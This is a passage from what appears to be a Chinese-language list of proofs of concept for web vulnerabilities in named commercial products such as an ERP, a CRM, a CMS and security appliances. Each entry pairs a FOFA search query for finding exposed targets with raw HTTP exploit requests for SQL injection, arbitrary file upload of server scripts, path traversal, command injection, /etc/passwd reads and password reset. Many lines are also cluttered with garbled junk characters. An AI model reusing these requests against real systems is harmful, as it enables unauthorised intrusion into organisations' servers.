! h: C, {; h9 _1 y+ EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
, |* v. m" X; E* CAccept-Encoding: gzip, deflate
. D+ v2 g% b4 V  J7 `Accept-Language: zh-CN,zh;q=0.9

: ?. ?' b# G7 j& B  a) ^. [) d  [poi=file:///etc/passwd
! o7 V: R. w1 X  j" o, s8 |6 ?# ]! F. G- ?
! O% e( ?$ p9 h6 X) B2 a5 u
7 P2 \7 j4 k6 r# X0 X- V191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
" g9 h$ C4 \) Z. ?8 f+ T% {! iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
. O) I# W. M# b& r3 `: I- VContent-Type: application/x-www-form-urlencoded

command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
5 q4 v  R8 [# ]: e

. |/ t  s7 F1 @0 `! i# k( X192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
/ X# D# \) a1 A8 w: lFOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
! g! L6 d# G: k' X4 Z4 c1 q. D2 r; Z2 hHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
1 \0 d" y/ V$ I1 x, V  JContent-Type: application/x-www-form-urlencoded
: E( a( G! K7 X; R

& G) M/ ]9 B1 ]/ y, J! ^<% @ webhandler language="C#" class="AverageHandler" %>
) L, N& z' y, P0 T/ _using System;
using System.Web;
public class AverageHandler : IHttpHandler
" Z( ^5 _8 o" H  E2 h{
public bool IsReusable
" o, g9 B% a& O/ t/ x  k{ get { return true; } }
  y4 ~& i9 ]- q. @  r, apublic void ProcessRequest(HttpContext ctx)
7 ^' B) D2 I  b& j{
  i% W6 e  M' {* qctx.Response.Write("test");
* [7 o- r9 a1 T- b. U& R: P}
}
/ E. I5 c$ w: w' v

2 N+ `1 g$ U5 q193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
9 B3 e6 L. T3 G* m9 d5 i: BFOFA：body="山石云鉴主机安全管理系统"
; I7 C2 s' E. g, d( qGET /master/ajaxActions/getTokenAction.php HTTP/1.1
4 `1 Q$ h# v% _2 QHost:
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
( h. w4 P$ B% \' u7 r' o: i
$ q, G& V5 a! E# r: A" H
$ F1 b5 X5 [6 H1 tPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
, H4 b' p; u# D( ^4 ~% ~/ _  fHost:
! m1 \4 ^: f; q  c$ b* `+ T8 Q' _, ]5 DUser-Agent: Mozilla/5.0
6 V0 d& b1 k) ]/ {4 oAccept-Encoding: gzip, deflate
Accept: */*
! c! Q7 k( U) f+ L* l) eConnection: close
Cookie: PHPSESSID=2333333333333;
7 s' L! h+ U9 y4 u) `Content-Type: application/x-www-form-urlencoded
Content-Length: 84
3 l0 O( c; Q% g, G8 ^$ O
param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')


GET /master/img/config HTTP/1.1
Host:
2 u5 P$ x/ }' l( tUser-Agent: Mozilla/5.0


: y0 ]) ?/ h' {1 ]4 O194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ C/ I( T, y$ \% ~9 @: cAccept-Encoding: gzip, deflate
' d2 V  i: u9 z5 uConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk

Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
. t  }* S! u; S4 ?9 i<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
4 t' A$ j5 w6 b- h6 b/ B7 c( { {"iq":{"query":{"UpdateType":"mail"}}}
2 @  c) E- H8 U* {; i8 J6 F------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
$ c1 n' u9 O2 `1 O
) c7 p, w) h2 {/ c- j: e, h8 d
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
, Z" Z; ~+ C+ ~! {FOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
* ~( U  W# G- Y; l, N3 {Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
; K2 n+ J: i. jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
' G% l- j( |7 j! q$ ~+ Q6 TAccept: */*
8 C$ I' Z% y0 Y) M2 R$ nAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
2 X' e% ]4 t) f6 qConnection: close
2 t3 q; L5 m+ O2 {1 @Content-Type: application/x-www-form-urlencoded
Content-Length: 68
! \8 x$ G, Z! i, E- V" o
{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}

" U& [( D& a2 Q* {8 Y+ r# S
196. 河南省风速科技统一认证平台密码重置
' @, C7 `8 F* E3 C1 AFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
7 r5 ?2 s5 M% ~2 Q; Z. `3 y4 H; ^User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
. d, P' w. A, ^3 HContent-Type: application/json;charset=UTF-8
0 B8 f. g0 P% `$ i" R1 {( v. k. l* UX-Requested-With: XMLHttpRequest
Host:
- Z' a+ s! S8 J' {* CAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
. F$ \3 s, Y0 \4 pContent-Length: 45
Connection: close
" ^( w1 d; T, s. G+ [  E8 F) B
# ?2 o/ z- N. i4 a2 |* Q{"xgh":"test","newPass":"test666","email":""}
" G3 @. E! k; e0 h4 R
% I* P# D7 Q- w/ Z0 k

# G0 B) O( h( k/ T6 U197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
- ^& G2 X7 {, P' y( sFOFA：app="浙大恩特客户资源管理系统"
  L2 d/ V* T( M% jGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
) I/ F5 M3 T6 S8 ]7 A* K( kAccept-Encoding: gzip, deflate
Connection: close
* f! C: d5 Q6 P' ~3 e% h) }
, g# p3 c2 i: K
' h' G. h6 V. ^' w/ p
6 O# d' Y) [5 l. ]198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
9 m$ g7 S4 q' V0 ]) V7 O5 z% pGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
. _) Q+ T. P/ w) _Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
5 K! W4 u6 P9 [* x
/ E! T+ X# N& G/ w: S2 U
199. cockpit系统assetsmanager_upload接口 文件上传
* m, E& [3 D% y/ T) U! [
1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
. m% B' O" |8 s7 \8 OGET /auth/login?to=/ HTTP/1.1

响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

* U; R: N9 V9 C( j  b2.使用刚才上一步获取到的jwt获取cookie：
$ F- E$ P2 V; ~$ {5 h/ ?; X
: {: K% g: c' B7 RPOST /auth/check HTTP/1.1
Content-Type: application/json

{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

. x1 E2 H& z9 i9 E# |  O; d响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
7 Y. @! W8 b; |  D5 q7 x4 R9 gFofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92

-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php

4 a! V0 a8 Y6 A4 B<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
2 `1 p: i$ @. S$ d9 DContent-Disposition: form-data; name="folder"
" I4 C) M/ S9 e% m0 a
-----------------------------36D28FBc36bd6feE7Fb3--


/storage/uploads/tttt.php

$ G% p1 i& H' B+ P* [200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
9 t$ d4 r6 M# Z0 VGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
7 X9 n( L: ~8 S$ U( [& vUpgrade-Insecure-Requests: 1
; m8 q: ^9 y! i& O6 O) cCache-Control: max-age=0
* G# b; e. e  |" c3 Y8 QAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 G, K% h0 D6 ~" N% I. ]Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

* p; @1 t0 ?& \" T
$ a+ N3 }  L7 ^# h7 w; K201. 方正全媒体新闻采编系统 binary SQL注入
' M$ \5 L& V3 A, G  |  {FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
& g$ G' U2 W; @& h! a( J: gAccept-Language: zh-CN,zh;q=0.9
$ C% w0 x( Q4 ~: {: ^. vConnection: close

TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
9 I9 v! _: K3 }

202. 微擎系统 AccountEdit任意文件上传
+ G8 ?1 G7 h) E- _4 gFOFA：body="/Widgets/WidgetCollection/"
7 R. n+ f0 U/ _# {) A获取__VIEWSTATE和__EVENTVALIDATION值
1 X4 t1 w7 P% o/ t1 KGET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0
8 D- I3 o2 \' H# K3 A) ^/ F

替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
. v9 n& y* q) D+ b1 C# w% ~- L+ XAccept-Encoding: gzip, deflate, br
4 J& p8 O0 S$ i  k( V4 [% QContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

0 K* P/ n% Q, B1 l6 c-----------------------------786435874t38587593865736587346567358735687
4 I, V! Z- D+ \$ w3 f& ~0 q: `( VContent-Disposition: form-data; name="__VIEWSTATE"

7 L( i& `' @3 `4 J9 A8 \__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"

, e8 W0 O4 F6 J: d. ]  A__EVENTVALIDATION
. Z. S) g2 y: _-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain

  J- c/ G. `4 I1 d6 h4 LHello World!
* x' r/ f& S4 @; T8 w2 M" [-----------------------------786435874t38587593865736587346567358735687
3 X' i. o- @  r1 M7 EContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
& I3 x. n1 }- O1 y4 Q
上传图片
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"

( {- i7 V9 }8 W  Y: _/ [
8 O; m) {3 F3 G' w/ v-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"


/ j" ?+ R# e7 M8 s" |1 t-----------------------------786435874t38587593865736587346567358735687--
5 s! G" O2 `$ K0 F
6 |0 V, [4 {; w/ O1 j0 _
5 m' u1 b) O9 y, R" D/_data/Uploads/1123.txt
/ T; `( @+ y" U2 \* x9 ^
203. 红海云EHR PtFjk 文件上传
9 T7 t' R/ a% c* h' U' WFOFA：body="RedseaPlatform"
2 G( c4 u: ^* D- V0 uPOST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
: k, I3 [" Y, K9 H9 _6 a. L3 JHost: x.x.x.x
2 H- g0 |1 k2 P* J8 w1 Z: S3 [Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
7 G" d% V8 W- y! ~Content-Length: 210
, B- a  B( ^. t" y% A$ ?# }; @' ~1 ^
7 U3 z/ }' Q' ^4 j6 E, i& n% K------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
8 @" @* l% j3 }  P- ]; L. AContent-Type:image/jpeg

<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--
* U* F3 }: o1 Z2 a% T1 A7 I6 h



( W# P2 }8 @2 x1 I
, `$ ^6 J# z4 N  L